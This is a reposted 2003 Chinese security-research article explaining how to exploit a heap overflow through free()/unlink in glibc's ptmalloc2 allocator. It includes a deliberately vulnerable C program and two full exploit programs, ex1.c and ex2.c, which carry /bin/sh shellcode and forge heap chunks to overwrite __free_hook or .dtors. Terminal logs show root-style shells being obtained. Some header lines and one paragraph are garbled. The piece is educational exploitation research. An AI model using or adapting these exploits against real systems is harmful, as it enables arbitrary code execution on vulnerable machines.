ptmalloc2的堆溢出利用初探(zz)

zt371 发布于 2009/05/05 15:22
阅读 473
收藏 0

看的我直冒汗啊 :em06: ... ...


ptmalloc2的堆溢出利用初探


By backend at nsfocus.com
Date: 2003-09-16


★ 目录

  起因
  原因
  分析
  突破
  代码
  例外
  结束
  参考


★ 起因

先看一下本文的漏洞程序:

#include ;
#include ;
#include ;

int foo(char *s1,char *s2)
{
        strcpy(s1,s2);
        printf("input:%s\r\n",s1);
        return 0;
}

main(int argc,char **argv)
{
        char *p1;
        char *p2;

        if(argc<2)
        {
                printf("Usage:%s ;\n",argv[0]);
                exit(0);
        }
        if(strlen(argv[1])>;100-1)
        {
                printf("ERROR:too long\n");
                exit(0);
        }
        p1=(char *)malloc(20);
        p2=(char *)malloc(100);
        memset(p1,0,20);
        memset(p2,0,100);
        strcpy(p2,argv[1]);
        foo(p1,p2);
        free(p1);
        free(p2);
        printf("END.\n");
        exit(0);
}

$ gcc -o heapvul heapvul.c

对于旧版本的glibc库,代码采用的是Doug Lea的malloc实现,因此攻击是非常简单的。
根据warning3在2001年初发表的《一种新的Heap区溢出技术分析》
(http://magazine.nsfocus.net/index.php?act=magazine&do=view&mid=847),很容
易就能写出以下攻击代码:

/* Compile: gcc -o ex1 ex1.c */

#include ;
#include ;

#define __FREE_HOOK     0x40163700
#define VULPROG "./heapvul"

#define PREV_INUSE 0x1
#define IS_MMAPPED 0x2

char shellcode[] =
  "\xeb\x0a\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
  "\xeb\x1f\x5e\x89\x76\x08\x31\xc0\x88\x46\x07\x89\x46\x0c\xb0\x0b"
  "\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\x31\xdb\x89\xd8\x40\xcd"
  "\x80\xe8\xdc\xff\xff\xff/bin/sh";

main (int argc, char **argv)
{
  unsigned int codeaddr = 0;
  char buf[40], fake_chunk[16];
  char *env[2];
  unsigned int *ptr;

  codeaddr = 0xc0000000 - 4 - (strlen (VULPROG) + 1) - (strlen (shellcode) + 1);

  env[0] = shellcode;
  env[1] = NULL;

  /* 伪造一个块结构 */
  ptr = (unsigned int *) fake_chunk;
  *ptr++ = 0x11223344 & ~PREV_INUSE; /* 将PREV_INUSE位清零 */
  /* 设置长度为-4,这个值应当是4的倍数 */
  *ptr++ = 0xfffffffc;
  *ptr++ = __FREE_HOOK - 12 ;
  *ptr++ = codeaddr;

  bzero(buf, 40);
  memset (buf, 'A', 16); /* 填充无用数据 */
  memcpy (buf + 16, fake_chunk, sizeof (fake_chunk));

  execle (VULPROG, VULPROG, buf, NULL, env);

} /* End of main */

[backend@redhat72 nsfocus]$ uname -a
Linux nsfocus 2.4.7-10 #1 Thu Sep 6 17:27:27 EDT 2001 i686 unknown
gcc -o ex1 ex1.c
[backend@redhat72 nsfocus]$ ./ex1
input:AAAAAAAAAAAAAAAAD3"?�?@?�
sh-2.05$

但是上面这段代码在Red Hat 8系统上不能成功:

[backend@redhat8 nsfocus]$ gcc -o ex1 ex1.c
input:AAAAAAAAAAAAAAAAD3"?�癮B?�
Segmentation fault (core dumped)


★ 原因

这是因为在新版本的glibc库中堆内存管理采用了Wolfram Gloger的ptmalloc/ptmalloc2
代码。ptmalloc2代码是从Doug Lea的代码移植过来的,主要目的是增加对多线程(尤其
是SMP系统)环境的支持,同时进一步优化了内存分配、回收的算法。

由于在ptmalloc2中引入了fastbins机制,malloc()/free()溢出在某些条件下会受到更
多的限制,虽然作者的本意并不是针对溢出攻击。由于fastbins是单向链表数组,每一
个fastbin是一个单向链表,满足fastbins条件的内存块回收时将被放入相应的fastbin
链表中,以便在以后的
内存申请时能更快地再被分配出去,从而提高性能。因此要利用ptmalloc2的堆溢出(指
free()调用,以下同),首先必须绕过fastbins机制。

除此之外,free()的实现代码与旧版本的也有不同,fake_chunks的创建和利用也必须有
所改变。下面就开始针对源代码中free()的各种检查条件来探索。


注意!!!在继续阅读以下内容之前,请确保你已经了解warning3的《一种新的Heap区
溢出技术分析》中所涉及的知识,尤其是chunk的结构和unlink的操作,否则你也许会
觉得有点晕头转向。;)


★ 分析

要达到利用free()函数调用来攻击的目的,需要满足以下条件:

1、通过某些漏洞(例如堆溢出)来覆盖将要被free()的chunk
2、在被覆盖chunk的位置上构造fake_chunk
3、fake_chunk要确保在free()函数调用过程中运行unlink宏
4、unlink宏所操作的内存将修改程序的流程

在上面的heapvul.c程序中,由于p1指向的是malloc(40)内存,这块内存在free()回收
时由于满足fastbins条件而被直接放入某个fastbin链表中:

    /*
      If eligible, place chunk on a fastbin so it can be found
      and used quickly in malloc.
    */

    if ((unsigned long)(size) <= (unsigned long)(av->;max_fast)    // 满足fastbins条件

#if TRIM_FASTBINS
        /*
           If TRIM_FASTBINS set, don't place chunks
           bordering top into fastbins
        */
        && (chunk_at_offset(p, size) != av->;top)
#endif
        ) {

      set_fastchunks(av);
      fb = &(av->;fastbins[fastbin_index(size)]);                  // 此处三行代码将内存块插入相应fastbin链表
      p->;fd = *fb;
      *fb = p;
    }

而因为p1的chunk结构头部我们无法控制,所以free(p1)是利用不了了。
那么free(p2)呢???


★ 突破

由于通过利用p1指向的内存块过小且没有边界检查,我们能够覆盖(控制)p2所指向内
存块的chunk结构头部,也就是说free(p2)时的操作将依赖于覆盖内容,即满足了第1、
2个条件。因此我们只要精心构造fake_chunk,就完全有可能满足第3、4个条件,从而
使攻击成功。

分析_int_free()(free()的真正实现代码):

A)(代码见上面,)使p2不满足fastbins条件

  即:fake_chunk->;size >; 72(av->;max_fast缺省值)                       <--- A

B) else if (!chunk_is_mmapped(p)) {
      nextchunk = chunk_at_offset(p, size);
      nextsize = chunksize(nextchunk);
      assert(nextsize >; 0);

  即:fake_chunk->;size & IS_MMAPPED == 0 (#define IS_MMAPPED 0x2)    <--- B1
    (fake_chunk+size)->;size >; 0                                       <--- B2

C) 接下来:

      /* consolidate backward */
      if (!prev_inuse(p)) {
        prevsize = p->;prev_size;
        size += prevsize;
        p = chunk_at_offset(p, -((long) prevsize));
        unlink(p, bck, fwd);                                       /* #1 */
      }

      if (nextchunk != av->;top) {
        /* get and clear inuse bit */
        nextinuse = inuse_bit_at_offset(nextchunk, nextsize);             <--- @_@

        /* consolidate forward */
        if (!nextinuse) {
          unlink(nextchunk, bck, fwd);                             /* #2 */
          size += nextsize;
        } else
      clear_inuse_bit_at_offset(nextchunk, 0);

        /*
          Place the chunk in unsorted chunk list. Chunks are
          not placed into regular bins until after they have
          been given one chance to be used in malloc.
        */

        bck = unsorted_chunks(av);
        fwd = bck->;fd;
        p->;bk = bck;                                               /* #3 */
        p->;fd = fwd;
        bck->;fd = p;
        fwd->;bk = p;

        set_head(p, size | PREV_INUSE);
        set_foot(p, size);

        check_free_chunk(av, p);
      }

可以看到有两个地方调用了unlink。第一个unlink(#1)的条件是前一内存块未被使
用,由于PREV_INUSE就在当前内存块的size中,似乎最容易控制,但由于后面还有一段
代码(#3),这段代码还会再一次修改已经被我们(通过unlink操作)改写的内存(
注:在这里主要是shellcode的入口会被bck覆盖)。因此我们把目标转向第二个unlink
(#2),它要求满足两个条件:

  nextchunk不是top块(堆边界),这个绝大多数情况下都符合;

  下一个chunk块未被使用,即再下一chunk块的PREV_INUSE位为0。             <-- C

至此,如果上述条件都能满足,则将调用到unlink,从而修改我们指定的内存(注意,
地址由下一个chunk块的fd/bk指针决定!)。
下面该做的就是一步步地确定如何构造各个fake_chunk了:

首先,所有的fake_chunk都不能含有零字符,否则会遇到字符串截断问题。同时所有
fake_chunk的IS_MMAPPED位均为零。(满足条件B1)

(fake_chunk1即free(p2)时首先检查的chunk,其作用是让_int_free()计算出
fake_chunk2的位置。)
第一,fake_chunk1->;pre_size(PSZ1),暂时没有要求(当然最好对齐)。
第二,fake_chunk1->;size(SZ1)要大于72(max_fast);同时PREV_INUSE位置1,以
   使#1的unlink不被触发(这样我们就不用考虑PSZ2了;))。
第三,fake_chunk1->;fd(FD1),暂时没有要求(当然最好对齐)。
第四,fake_chunk1->;bk(BK1),同FD1。

(fake_chunk2的作用至关重要,它将使unlink“合法”地释放自己,即修改内存!)
第五,fake_chunk2->;pre_size(PSZ2),同PSZ1。
第六,fake_chunk2->;size(SZ2),要求SZ>;0且(fake_chunk2+SZ2)->;size & PREV_SIZE
   为零。
第七,fake_chunk2->;fd(FD2),指向要修改内存的地址-12。
第八,fake_chunk2->;bk(BK2),指向shellcode。

接着,我们要进一步确定各个字段的数值:

对于PSZ1和PSZ2,取值如:0x11223344

对于SZ1,由于fake_chunk2的定位依赖于SZ1,
  如果取正值,会很大(因为各字节不能为零),可以取适当值使fake_chunk1+SZ1
位于堆栈的环境变量中,然后把fake_chunk2通过环境变量输出。这样有一个缺点是不
容易定位,因为不能精确定位fake_chunk1地址,只能通过猜测。
  如果取负值呢???我们可以回过头来再看看_int_free()的代码,可以惊奇地发
现居然是允许的!!!呵呵,这样就好办了。我们可以把fake_chunk2放到fake_chunk1
前面!SZ1取值0xfffffff0(-16)。(满足条件A)

对于FD1和BK1,取值如:0x08080808

对于SZ2,乍看之下可以任意取值,只要(fake_chunk2+SZ2)->;size & PREV_SIZE为零即
可(偶当时调试时主要就卡在这里),其实不然。在@_@处的代码是读内存操作,如果
内存页面不存在,会导致缺页异常。因此我决定让fake_chunk2+SZ2指向一个必然存在
内存页表的空间--用户堆栈的最高一页(即0xbffff000-0xbfffffff),即SZ取值
(0xbffff800 - bss_addr)。(满足条件B2和条件C)

对于FD2,由于可以利用的内存地址很多,我这里选择的是静态确定的.dtors段,即FD
取值(dtors_addr + 4 - 12)。

对于BD2,用环境变量输出shellcode是最容易确定地址的方法之一。

现在,我们可以画出伪造前后的内存分布示意图了:

+->; 块1                                   +->; 块2                    
|                                         |
+----------------+------------------------+----------------------------+
|prev_size| size |        16bytes         |prev_size2| size2 |任意数据
+----------------+------------------------+----------------------------+


+----------------+------------------------+----------------------------+
|prev_size| size | PSZ2 | SZ2 | FD2 | BK2 | PSZ1 | SZ1 | FD1 | BK1 | 
+----------------+------------------------+----------------------------+
                 |                        |
                 +->; fake_chunk2          +->; fake_chunk1


★ 溢出代码

/* Concept-of-proof exploit for free() @ Wolfram Gloger's ptmalloc2
*
*  By backend at nsfocus.com (http://www.nsfocus.com) 
*  Date: 2003-09-15
*
*  Compile: gcc -o ex2 ex2.c -lbfd
*/
#include ;
#include ;
#include ;
#include ;
#include ;

#define VULPROG "./heapvul"

#define PREV_INUSE 0x1
#define IS_MMAPPED 0x2

#define bfd_error(s)    { bfd_perror(s); exit(-1); }

unsigned int bss_addr, dtors_addr;

void GetBfdInfo ()
{
        bfd                     *abfd;
        asection        *asec;

        bfd_init ();

        abfd = bfd_openr (VULPROG, NULL);
        if (!abfd) bfd_error("openr");

        if (!bfd_check_format (abfd, bfd_object))
                bfd_error("object format");

        asec = bfd_get_section_by_name (abfd, ".bss");
        if (!asec) bfd_error(".bss section");
        bss_addr = (unsigned int)(asec->;vma);

        asec = bfd_get_section_by_name (abfd, ".dtors");
        if (!asec) bfd_error(".dtors section");
        dtors_addr = (unsigned int)(asec->;vma);

        bfd_close (abfd);
}

char shellcode[] =
  "\xeb\x0a\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
  "\xeb\x1f\x5e\x89\x76\x08\x31\xc0\x88\x46\x07\x89\x46\x0c\xb0\x0b"
  "\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\x31\xdb\x89\xd8\x40\xcd"
  "\x80\xe8\xdc\xff\xff\xff/bin/sh";

main (int argc, char **argv)
{
  unsigned int codeaddr = 0;
  char buf[40], fake_chunks[40];
  char *env[2];
  unsigned int *ptr;

  codeaddr = 0xc0000000 - 4 - (strlen (VULPROG) + 1) - (strlen (shellcode) + 1);

  env[0] = shellcode;
  env[1] = NULL;

  GetBfdInfo ();

  bzero(fake_chunks, 40)
  ptr = (unsigned int *)fake_chunks;
  *ptr++ = 0x11223344;    /* garbage */
  *ptr++ = (0xbffff800 - bss_addr) & ~(IS_MMAPPED | PREV_INUSE);
  *ptr++ = dtors_addr + 4 - 12;
  *ptr++ = codeaddr;
  *ptr++ = 0x11223344;    /* garbage */
  *ptr++ = -16 | PREV_INUSE & ~IS_MMAPPED;
  /* garbage
  *ptr++ = 0x08080808;
  *ptr++ = 0x08080808;
  */
  
  bzero(buf, 40);
  memcpy (buf, fake_chunks, sizeof (fake_chunks));

  execle (VULPROG, VULPROG, buf, NULL, env);

} /* End of main */

[backend@redhat8 nsfocus]$ gcc -o ex2 ex2.c -lbfd
[backend@redhat8 nsfocus]$ ./ex2
input:D3"`ǜ�焟3"?�
END.
sh-2.05b$


★ 例外

  ptr = (unsigned int *)fake_chunks;
  *ptr++ = 0x11223344;
  *ptr++ = (0xbffff800 - bss_addr) & ~(IS_MMAPPED | PREV_INUSE);
  *ptr++ = dtors_addr + 4 - 12;
  *ptr++ = codeaddr;
  *ptr++ = 0x11223344;
  *ptr++ = -16 | PREV_INUSE & ~IS_MMAPPED;

上面给出的代码有几个可能导致失败的地方--

bbs_addr!!!
dtors_addr!!!
codeaddr!!!

其中前两个值是编译后静态(直接从文件头读取),而codeaddr对于固定系统来说也是固定不变的。
当这三个地址值中只要在计算结果后存在一个00(即零字符),就会导致字符串拷贝截断问题!!!

在我的RH8测试机上,未加memset(p2,0,100)时:
bss_addr at: 0x8049734
dtors_addr at 0x80496f8
fake_chunks len: 24
溢出成功。

当加上memset(p2,0,100)时:
bss_addr at: 0x8049744
dtors_addr at 0x8049708
fake_chunks len: 8
溢出失败!

看到了吗?dtors_addr的最低字节为08,dtors_addr + 4 - 12 = 0x8049700,所以导致
fake_chunks的字符串长度只有8了!!!

验证:修改任意无关指令(例如删除prinf()、增加printf())。例如在我的测试机上把
printf("END.\n");
改为(或删除也行):
printf("END.");
printf("\n");
后,重编译运行结果:
bss_addr at: 0x8049754
dtors_addr at 0x8049718
fake_chunks len: 24
input:D3"琡?�D3"?�
END.
sh-2.05b$

绻薹ㄐ薷脑创氲哪兀恳不褂泻芏嘀挚裳》桨福缧薷腉OT、修改函数指针、修改
EBP、修改函数返回地址,等等。当然难度可能就不一定一样了。


★ 结束语

上面简单介绍了在新版本glibc下如何通过free()调用来利用堆溢出。可以看到由于引
入了fastbins机制,malloc/free等调用会随具体情况不同而可能略有差异。例如,
free()一块large chunk与一块small chunk是不一样的,即使都是small chunk,还有
是否属于fastbins之分,等等。而对于exploit爱好者,设计构造fake_chunks也很有
乐趣。如何在把堆放到栈中?;)如何伪造chunk结构?覆盖哪些地址?如何调试?
…………这些问题就留给感兴趣的读者吧。

在即将写完这篇东东之际,发现bkbll在2003年9月初也发表了一篇研究相同问题的文章
《一种小堆(heap)溢出的另类利用方法》
(http://www.nsfocus.net/index.php?act=sec_doc&do=view&doc_id=867)。不妨对
照着研究,也许会有新的发现。



★ 参考文献

[1] warning3, <<一种新的Heap区溢出技术分析>;>;
    http://magazine.nsfocus.net/index.php?act=magazine&do=view&mid=847

[2] Doug Lea, <;>;
    http://gee.cs.oswego.edu/dl/html/malloc.html

[3] Wolfram Gloger, ptmalloc2 source code
    http://www.malloc.de/malloc/ptmalloc.tar.gz



加载中
返回顶部
顶部